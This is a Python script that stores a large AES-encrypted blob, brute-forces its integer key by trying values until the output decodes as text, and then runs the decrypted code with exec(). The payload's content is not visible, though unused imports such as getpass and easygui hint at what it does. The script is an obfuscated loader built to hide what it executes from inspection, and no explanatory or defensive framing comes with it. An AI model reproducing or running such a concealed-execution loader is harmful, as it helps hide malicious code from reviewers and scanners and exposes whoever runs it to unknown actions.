from Crypto import Random
from Crypto.Cipher import AES
import hashlib
import random
import easygui
import getpass
import time
class Decryptor:
	def __init__(self, key, file_name):
		self.key = hashlib.sha256(key.encode('utf-8')).digest()
		self.file_name = file_name

	def pad(self, s):
		return s + b"\0" * (AES.block_size - len(s) % AES.block_size)

	def decrypt(self, ciphertext, key):
		iv = ciphertext[:AES.block_size]
		cipher = AES.new(key, AES.MODE_CBC, iv)
		plaintext = cipher.decrypt(ciphertext[AES.block_size:])
		return plaintext.rstrip(b"\0")

	def decrypt_file(self):
		dec = self.decrypt(self.file_name, self.key)
		return dec

class BruteForce:
	def __init__(self, encrypted_codes):
		self.encrypted_codes = encrypted_codes
		self.password = 0

	def start(self): 
		status = True
		while status:
			try:
				test = Decryptor(str(self.password), self.encrypted_codes)
				decrypted_code = test.decrypt_file()
				executable = decrypted_code.decode() 
				status = False
				return executable 
			except UnicodeDecodeError:
				self.password += 1

encrypted_codes = b'\x8f\\\x0c\x9de\t\x06\x07\xa9\xb4\xdd\xedB1\x02\xe5\x1cP0K\x1e_\xa8\xbd\xb9\xc2\xf9@\xd7Q\x83y<\x11D\xb53\xd3\x9c\xed}\x03\xf1\xf0\x1e\xfe\xb8Q\x8b\xf2\xb0wk\r5\xac\r\xd3\xa9\xcep\xbdv\xf6\xa0\xb8\xfeC\x95\x08.OO%\x85]\xe6%\x93\x1bV-i=\xcbX\xe1\x10\x0b\x91m\x9d(\x1d\xe0\x81n\xfe\x9bN\x93\x9b\xcf\xefi[\xa3\xf0\x86\xe8lK\xfeo|\xc9\xa2<\xb4#T\x88\xefF\xe5\x15R\xde\x16\t\x00\x1e\xa4^\xc9It.\xd9\xfc\xacBH\x1b\xce\x04e\xf3\x14\x1fL\x07)\xdb\xbb@:$\x9e\xf2\x102P1\xffk\x12 =\xf6\xdc\xaa\x8f\x89\xc2\xecw\xcd\xec\xb3gg?elw\x1c5\xb3\x8c\x83\xb2\x0f\xe8\x9c\x1bk|\x99\x97\x8br[&\xfb??\x7f\xb5\x15\xb3\xb6\x8b\x1e\x002dW\x10:!:I\x05\xf3;\xb4\x99\xbfp3\x81#\x94\xbd\xb3\x1b\xa8\xbesg\t\xaf?\x94\x10$\x05N\xaa.rd^\xd5O\x85\x17\xe6\xb4\x17\xeb\xa8\n\x17\x8d\xb8\xe4\x1a\xc4\xcf\x7f.0$\x90\xe7w\xbd`\x83\xcfi\xc3\xfe-\xc9)\x9f\x0e\xf1\x10J\x17\xcf\xecJ\xda\x93n\x81j$\x89\x875\xd0D\x97D\xcbSg\xa9-\xfa\x9d\r\xdcpA\xa10o\x81\xdc{\xdat\xeaw\x9e\xe0\xfbu\x175\x8av\x7f\xf6\xec\xa5\xacn\xd3\xe9\xa9\xe5\xce_\xefT\xb0\x9d\x1d\xcc\xca[\x18\xfd\xdf\xcc\xf6\xbd;\xde\x80\xa0&\xda|\xdf\x92\xa2*\xb9\x86\xa2l\x0e?\x94\xa4+2\xf8l\xd7\xa0\x07\xb3j\xc3\xa7S\xcb\xf4\xdb4t\xaa(\xcbj\xbd\x9cm\xb0xMm\xabbCg\x8fr\xd4\x93f \xd3T0\xb5\xac\x9b\x9b\xdd\x03$\xe1\xf3\xbdW|\x0b\x04\xa9q\xf6\x9bp\xfb\x8d\xab\x19Lu \xc8M\xd3)\xf5\n6k\xa1\xbc\xd3\xf9_\xc2\x80,\x80\xbb\xa4\xf6B/nw9k8pX\xcb\x8aGx\xc9\xf8>\xe3\xa3|\xdc*\xc5\xa5\x84\x13\xf7\xbc\x80\xa8QN\xf5\xfb\xc5h\xb4\xdeG\xb4O@\xc2M\x0co\xd70X\x85\xd5\x84\xee\x9c\xb7\xa8\xaa\x9b\xb0\x9d\xba\xbd\xbcI\x9bVqH\xf5\x95p\xc3\xbf3\xe5\xdcT$\xbb\xdc\xcdv\x96nh\xe55\x98\xe6\x89\xbc\xa1\xc8\xce\x1e\xfb\xdc\xcc\xe5\x7f\xd2\xc2\xc6Z\xebut\x0e\xe1\xcd\xbd\x00\xae\x83\x95>\xe9%\xc3e\xeb@A5\xfb\xbe\'ok;\xa3F\x84\x99xngM\xcd\xf9\xe05\x91"\x9b\xf1I\xfd\xf5\x02\xd4I\x08\x8e3e\xa3\xb7\x83\x1c\xa8\xc4d\xceu\xc8\x0b\xe67(A~\x8d\x84\xbb\xac\x808V\x0c\x95#\xd4d\xdd\xb3x)#\x8a\x8a\xbb\xb6\xfe\x0b\xe0\x9c8&\xb9y\xe4\x8a\xcf*~\x93\r\x9f\x86\xfa \xb3-\xcc\x9bq\xc2\xec\x19\x04\xd1\xd3\x82\xc6?\x86\xd42M\xc7\x00\xe5e\xe72\xac\x1a\x02\xcdkz\t \xd0\xb2\xf3\xcf=\xb9\xfb\xd8\xe9\xe0\x01Yh\xe4\x0c.\xd5\xc0\xd4_A~{W\xc5\x82\xd6\xc48A\x16\x95\xde\x1a\xfb\xa9\xe8\xe6]8\x90\x8d$\xff\xb2Cep~\xc9\x03]7\x06\xcbN\xf0\xa3b\x9a1\xf4\x81\xf1U\n\xf2\x90\xabD\xe6\x08\xa8\xad\xc9J\x88\xb0\x02\xe3\x9a\x8d\xa6\x18\xf3\x9a\xa9:\xfa\xd8\xabh\x90\x9a%\xe2U\xa1\x15\xbb\xb8H\xbe\xd6\x7f\x00\x92G\xd2\xc4\x1c\xfd\x07\xeb\xb2\xf9Pj\xf4\xf0trv\xaeD\xc9\xb2\xe7\xc3\xa5\xc5\xf8\xd6.\xda\xb8\xfe\xb6\xb8\x1e\xf7\xec\xbfB=\xfd\x7f\x0eS\xcc\xd2\xcd\xa6\xa1\x80N\xd1j\x9c4<\xd47:^\xf1t\xd2\xf78\x18\xd2j\x86k\xb0\x8f8-\x01\x93\xfd\xe0\xef/\xddT3vX\xea\x0e\x02\x9f\x8b\xd3|~\xb6\xcf \xc6^\xe6\xe4w\xf64\x15\xf6\x92\x90\x93\x8dG\xa6\x8f_[4|\xfc3S\xa1I1\xc3or\xbf\x7f\x12_\x9b\x05\xc1\xdc\xff\xbd\xbc\x14\xb6\xdf\xeb\xe4\xaa\xbe\x04\xadaIS\x1bg\xb1\xc9\x9a\xb5\xbf\x7f\xb6@?\xf0\n\x8a\x00}\x95b\x91\xa6\xb1h~\xe9\x9b\xad\x04\x9a6G\x93\x13\xc3I\xa8\xafeO=\xee\xef\xea\xd50\x97#\x0fp\x85\xaf:V\x19f\xaf2B]\xf2~\x08\x12\xeeio\x06C\x8f)\x1f[\xd2\xe0\x92C\xf8\x14\xe8\x1b\xc5J\xe6\xc6\xc5\xe0\xedky|\x7f?FKV\xe1\xdb\xb9\x13\x81\xf3\xcb\xb6\x87g\x8b\x88\x89\x98\x87[\x86\xde.u\x84\xff\xdbY\x19=.\xbd>\x08\xc5\xf5\x195\xfb-j&$l\xa1c\xe4\xe2\xc4\x85\x05\xbc\x1e\xc5\xb6\xd0\xd2\x8a8\x9b\xf4\xcb\xc1\x0f\xb6\x1f\xff\xbb\xc0\\\x8cu\xa0(\x7f\xe8l\x97\x151\xed\xe4}*zI\xda\xdc\xca\x04\xb0\xbf\xf4\xc5K\xce\x1bK\x9c\xc7X\x11\x80\xcfa\x03\x9d\xa8&\x90B6$\xfc\xfd\xe1\x9c\xdcpj\xe2\xfa\x95p\xaa&L\xd2\xd0\x1ag\x14\x12\xf3v\xcf\xe5\x97\xc0\xb5\xc6:\x1a\xc9\xf9%\xd6v1\xddP7M"%\xfc\xb6\x01\x9a`\x8e\xbd\xa4<\x90$-i\x85\x95\x078\xaaX\x8f\n\n\x0bT,\x99\x02\xf7\x08\x94\xfdS\xb4D`>YV\x01\xd3aO9\xdf\x8f|%\xc8\x1fX\\\x95\xcep\xb2\x96\xb2\xfa\xb5\xf1\xa4\x06\xa1\xf4*-!*\xd6\xed\x81\x9b\x0f1\x15\xdef\xa2\x02{\xb3\xd3\xd9\xb4g\xebuO\xb2ad\xd9 \xe4\x02\xfd\x94}\x8e\x0f\xfd\x05\x9d{\xdcm{\x85P\xee \xbcR\'@\x90\xebO\x03\x8c)\xe2\xcd\xe2\xbb\xa3\x1c\x8bS\x1e\xe7\xcbU\xa3\xb0\x8c\xbd\x01Q\xcb\xc2x\x07\xedX\xfb\xcf\xa1\x81\x0fr?\x8a\xc2\x92Z5Z4\x96\xfc\x01!\xf7\xacks\xff\xb5\xcb\x10\x19\xe3 \xbd\xb8\xa9L1e\xd9\r\xb4/\x0f\x88\xe8,^\\l^\xec\xee\xc4\x9f\x9fq\x91\xdc\xbf}VR\x82U&\xb2\xa96\x8b\x1f\xea\x08k\xad\xb4*\xe1\xbdl.3\x07^^\xeb=\xa0\xeb\x80\x10cR\x94\xa8\x93\xf0mv\x10\xf2WA\xc0\xbe\x98\t\xef8\xc9\xda>}6@l\xfd,\xb0\xff3t\x17\xad\x8a\xa44\xe8,\x8e4\xd6+ <\x19g\x97\x90\r\xadSf\x0b\x03\xf2\x16\xcd\xde\xb7\x06\xc1Hq\r[8\x15Mf\\(\n\x1ev\xb5\xb8c\x93t\xa9o\xf9\xde\x97M\xe0\xdd\xcb\xdb\x99\xbb \x92\xf0\x86E0\xba\xad]]\xd0q\xa6\x92,V\x1f\x05\x1f\x9cn\x94\xe8\xc1\xcc\xca#&/\xde\x19.\x8f\x10\xfew\xd3\x9b{p]\x02\xaa\xe3L\xe64\rj\'5c\xe45\xe2=\x19\xa8/\xe7\xe9t\xe3Z\xfe&\x04B\xfe\x9b<[\xd8\xc1S\xa3\tq\xe2|\x9eT$\x85V\xc7\xec7\x1c\x9c\xd9c0\xc0U>\'\x814\x08\x12\xbf\x93_|\x90\x9a\xc7\x85Je \xfe\xe2\x1ev"\xc0\x8d\xa9\xab\x7f\x90@o&\x97"\xa3uh>\t)\xb98\xf7\xc7\x9a\xa0\x82)5\x97\x1b\x03\xb7\'\xfb\xae\x82\xf7\x10\xab\x08\xa9\xd6R\xd6\xf3\xadDg#<\xd5\r\xf0\x0b\xca\x95)\xce\x94\x9d\x9es\x86\x16\x80\xa9\xd8&\xaf\x03\xa6\n\xa0Z\xb6\xe6\xda,Wg;\xd5Gf*Q\xa9\xb9`\x9c\xa4\xa0\xcf\xc6\x9b\xee\x9d\xd6\xbc\xf0\x05`\xd2\x89\xc9\xd2T\xeae\xc4{\xda\xbc\xcfZ\xadD\xefZ\x9c\x94B\xdb\x99\xa2\x06\xc9$fPt\x18\x95\x81\tt%Y\x9f\x80]\xab$Snz\xb1Khq\x9f8\xf3\x88\x99!\xe2\xe7u\x9d(\xf3u\xa5\x1bY`\x9c\xd5\x1b\x15T\\\xa6\xccw\x14r\xa34\xee\xef\x88e5\xa9\xc5\x7fX4\xe5\xddg\xf9\x83\xf7\xedb\xc9\xd0\xd3N\x9eA\ne\xfa\xbaYk\x92\x97\xddIY;%\xc4Brj\xed\x05SE\x05\xa5*\x93\xe1\xe1\x13y\xf4j}U\xae`+\xaa}\x06\xaf\xc9\x96\x98\x1a\xdb_\xab\xaan\xeb\xac\x04\x02U\x0c!\x85\xcb\xa9r\x92Q\xc5x\xf4MuL.\x8cC"\x9e\x087\\w\x0fV\xd4@\xc4%\xee\xfa\xcb4\xf9\x8b\xdfq\n\xbb\xca=E?\xde\xd3\x05{q\xed\xadc\x84\x19C\xb8\xd5J\x05\xff\xd9\xa6\xc4\x93\x07\xfd\xad\xd2\xc8G\xed|\x9d.\xf4\xb4\x93\xd4_#\xfcL\x0c8_\xf0\xe8g\xb1\xaenuY\xbc\xa7Gm\xf9j\xbaP\\\xd72\xe2\xff\x18\xd1\xe5\x8b\xaaf\xf0\x8a\x8d\xf0\xb1\xb8\t\x83\r\xbf\\{\x10\xa4\xa6\x13Ja\xac\x0b\xc7\xfb\x8cc\xc9\x91R\x85\x98\xb3[\x12\xb3\xe4}\x82]\xc3\xa6\xee\xa4\x8e\xec\x18m\xdc\xd0\x8a\n\x0e\x15\x02\x9e\xd6DC\xe4\xf6\xacy\xe7M\'\xcd\x8dcZ]$\xb6\xcf\xd7\xdb=&\x98\xf9\x06nk\xdd\xdd\\\x16cH\x02P\xbbW\xf4\xbfV\x11T\xb8\xa4\xddP\xb3h\x14I\x91!<P-u>\n\xce\xe9\x85\xec\x0cV\x84\xc4\xe6h\xdfZY\n\xc5\x0f:\xa9\xc1\xd2\xa6\xfa\xbf^\xf3IN\x82f\x88R\x95*^\xbe\xc0\x07\xc0\xebXM\x14\xcdC\xf1\x01\\-\xe9\x89\xa6\x1f\xd8D\x85\x8a)\xfcU\xda\xf9\xe2\xaf&z\x9d\xc4Lq\xb5c\x94p\x9aL%/`\xb3Xp\xb9\xa3\x93>G\xb6%\xcd>\xa4\xf7\xce1\xe6\x98e\xf74,Z\xfbM;\xf5\xe5\x0b\xf8\xf4\xe8~\xe1)\xfa\xf4\xc3~\x94\x8f^iLf\x18\xeet\xf4\x10\xdd\xf1x.2\n\t\x91i\xf5\xd6i\x94]\xddM\xa2\x16\x8e\x8b\xba!\x9b\t\x12\xc1\x84zwP%\x01V\xf3Q\xc4\xe3\xee\xea\x88\x08\xa7\xea\xed\xd40\xe2\xb99r\xf7?LF~\xa523\xb2\xd0\x02\x88\xc5\x8c\x1fk\x83\xae~FSp:\r4Zg@\xf3aA\x9e\x05A\x04l\xf0\xe0\xbd=(Y\x1d$&\x0e\xcf\xa3l2\xcc\xbd\x1b7\x08\xef\n\xf6A\xdc\xe5&#\xbd\x94$\xba\xb2\xdb\x04wy\x02},\xa7\xeb\xcc\xd9\x95\xd3\xd2!u\x164\xb5\x93Y\x9a\xca\x10G\x90(\xe2.\xfc.U\xafg\xda\xe6-R\x91\x9d\x12\x10*G\x85\xdd<\xb6B\x90\xd0~4d\xb47\x0c\xc8\x94b\xf3\xcd\x97\xf4Q\x86\xb9G\xf9\x06\xf5\xd7e\xd8*\x9e\xb8\xca\xc0\xea\xb1\xc4\xbf\xe9\xca\xc7\x03\x19\x8e{7\xd6|^\xa7\xd4-_\xdd\x99\xc7k\x11Hq\xfd\xd7\xa2\xc7<\x16\x98\x1e\xc4\xe9\xf6\xaa\x83\x93y\xf3h0v\xd4d\xfe\xd0x\xca^\xc6\xe6@\xe5\xf6\xd0\x16\x13]m%\x92\x1f\x9f\xef\xef\xd6n\x85G\x14c\x08\xe2\xef:\xf8I\x9a\xfdsd\x05\x0c\xcb;fTZ,^z<7\x16\x1b>-\x04\xde\t2\xa7\x9f\xa9\x98\xb8K\xdaTorx\x80\xe5;\xef2\xc0\x98\x04|Yi\xbf\xc9*\xe4\xe1\xd4{\x00\x01\xb7\xfc\xe3\xa0\xf1\x10\xe4\x05}e\xa4\x93[\x17S\xe8\xde\xcc:?H\xb7\xe90\x14e\xc4+\x14\xdd\x17\xe8\x8e\xdbx\xb9\x92\xd7\x10"\xf7$\rz[\x80\xc1\x94;*\xa7\xa8\xe2i\xd3\xde\x1d\x1f\x97okR\x94\x9c\xa9\x02\xb4\xe4\xbe\x18\x89\xb0\xe9\'.)\xa2o\x979\x08a\xd3A\x1a\xf54I~QW\xbe\x005\xfd\xbb\xed\n\xb8\xae\x0f\xaa\x1cw\xfaU?\xfc\xc2{= \x173\xf7!\x14\x9c\xa4\xad\'\xb3\x11\x989\xe6\xbb\x14\x06G>z\x1b\xc4\xc8^\x97d\x03\xd2]\xef[\xc5\x80\x8d\xd8d\xa0-\x0e\x19\xe0\xc0\xcd\x07\xcd\xbd\xeeZI#^m_\x05#\xcc\xd5\x8e\x1c\xb3\xf9\xfb\xb0\xba\x96\x0cx_51\x1f\x8e\\\x16\xeap\xd4\x19i\xf1p\xff`\x06+\x1a\xd1\xbc\xd2\xb1$\xb6+|\xf8\x03\xe1\xc6#h\x14\xb8\x8a\x06\xa8\x19Jl\xaf\x00\xd44\xcfs4\xe1\x06h\x11x\xa6\x0cb\x86\x83?\xe2!\xb4\xe9\xfc\xf9X\xfa\xff\x88\x1f\xdd\x85\x1d\x17\x17I\xe7\x1b\xba\xf5\x89\xc9%\x80f\xf1@\n\xad0\xd5\xdc \xb7\x8b\xfc5\xe8\xf5B\x9aL\xe8^Z\xcd\x11\xfdvl\xab\x8b!\x13-\\\x8c\x9aX\xeb\x83\x8eg4 \xdb\x94\xc3.\xc5\x1f\xbaP\x87\xe7\xdeHw%L\x0c\xf4\xd4s\xacS\xaeZ\xb77%o\xca\xac\x1ec?\x11\n7\x13\xe1\xa8N\x02)\xbe\xf1f\xd0\xc1p\x9d\xf0L\x88sQ,\x0f%\x1da\x05y\x1aB\x8a TH\x92_\x11\x8fN\x84I7\xd5D :Z\xc4\x1c\x9aOq&\xe5\xa9gBA8\x8be5*\t\xd0\x7f\x862\t\xe43\xa2t\x90\xdcV\x0bD\xb6m\xd0Y\x1d2\x9b@h\xf5\x86\xc2\x90wh\x1e{\n)\x0b\xef\xd4g\xea\xe0\x04A\x1as\xb4\x1d\x0e\xe6J\xe4\xd5@9\x9a\x1f\xbd\xec\x1b\xaf\xb3\xe0\x85I}"\x98Au\xf0\x9f\xf8V)W\xd1\xb0\xbc\x15HHF\x17\xee\xf0O\xaa-\x93\xddU0\x8a\x0b\xd5\x8c\xb6OrK\x04\xa3ZC\xf9T\x81E\x98\x7f\xd7\x0fG\xaa\x9b\xc8\xe0\xa5\xab\n0;\x9a\x16\xa7\xeb\xa0\x13\xd3\xf3m=\xf4H\xae]t\x85\xf6\x19\xb8\xe1\x94M\xb13J\x9a\xd0\xe6\x98\xe7x+\x8d\xa5\x7f\x8e\xa5n\xaf\xf5\xfb\x91H\xcap\xbd\xee\x9f\x8e\xcdE\xc9\xa6 \x98\x90D\xa4\x8c\xb0>\'\x8e\xb6\xa9\xd7\x83G=\x03\x1d\\\xcd3\xaeV\x04\x1e\xc6rCi\xe8i\xa9\xabHv\x1eOe\xb4\xa2V%y\xc7-\xd9`j\xd3^w\xa0;>\xd3\xc5%\xb3\xd2\xcc\xb9\x00\x1f\x92\xc2*Z\xabPh\xed\n\r\x1f\x1a\xcc0\x02R\xeb\x15\xcf\xa0\x89\x8f\x8aNvZd%D\xb5\xf8\x88\xddu\x19\x81.\xb5\x07P\x1dR\x00\xa4\xa3\xfb\x0f\x99\x90\xe0)/\xf4\x1a-d\xbfZ\xf1G\xb8\xccAs\x12\xdeG\xe0[\xe2\xb2M\xd6\xce\xa5\xb8\x11\x9f\x96\xe0\x18\xec\xdcI\xa9i\xf1a\xfe\xce\xcc(#\x1f>\xf5\xc7$T\x91\xc4c\xb8%\xae\xa1\xa6\x05.\xff\x00:\xdb%\x8c\xd7\xb4M0\xa3\x90+f)S\xf8J\xdb\xf7q\x08\x18\xb7X\xed\xb7\x05\xe2P\xcf\xd2\x80\x1d\xeb\xd7\xc8\x7fuuO\xb9\xbe\x9dg\xdd`Y\x15\x1e\x10\xec\xb6je?\x11W\x9e\x1ffT\x9c\xf8\xb8Y{\xdc\xec\xa1?\x19B1\xb4\x93VEj\xc5.\x8e\x89\xa5\x00XpF\x1e\xaa \xdfJ\xec\xdf)~\x7f\xa1\x84\xe1\x93\xc9G$\x16\xb3\xca@\xdaq\x8a_\x85+\x04X\xb1\xeaj\x05\x92CP\xaa\x0cmS\x01\xadx\xfc\xfb\xfd\x14#\x05;\x8d%\xc26\xcd-4\x1e\x12\x8c\x90>WH\xbb\xdcA\x12\x12\xac71"NG\xf7\xe6@|\x14p\xa8\x1f\xaa\xac\xdc\xc9\xd6\xa7A\xb7[\xcai\xf8\x82\x12\xda\xb7T+5\xa7\x82\xee\xeb\xe5\xb9\xf2sM\x99\xe7j\xe0hw\xa8Hgu\xdc\x90,\x87l\xfae\x9c\xefJ\xb5\xb2)\xcc\xc9\xb7\x87v\x9eO9I\x9c\x18i\x07\x852\x7f3\xd9(\x991(6\xb5\x8cU\xbe\xc23R1\xbc\xa1\xf76\xfeU\x97\xaa&\xf1P\x14\x01\x16\xaem\xe7\xeb^\x83i\xe7N\xf9\xec\xdb\x19\nv\x7f\x81\xbc\xd3\xc8%Y5\xb3p_\xa0\xaf\xee\xa2h\xefz\xf9\x99g`\xd3a+\x7f\xd6\x02[\xb1\x030\xd7Co\xbb7\x99e\xe1\x87\xfar\x9f~\xb6\xbb\xba\xf8\xdf<\xb0Q?p\x1b %\xaa\xebSRS\x7f\xe0\xe4\xb2\xd4\xbc\xdb\x0c\xc50(\\7\x8b%\xbfI\xa5\xba\x8f+dE\xafk\n\x84\x1b/\xfc\x9e\xfc\x8f\xd1#)u\xa9\x12\x9d\xddI\xb6\x1dZ\x98\x10\xbd*\x17\x14\xbaO@\x9fgJ\xcbG\xc2=)7\xd8U\x8a_\x1c\xf5\xf2H\xdd\xfc\xf1Li\x1bH\xf2\x9a&\xae\xeeo& a \xac\x82;\xa9\xf2\x81u\x8d\x96\xf2\xc8\xc3\xa8A\x08Gj\\\xb2\xb7\x05\x076+'
brute = BruteForce(encrypted_codes)
executable = brute.start()
exec(executable)
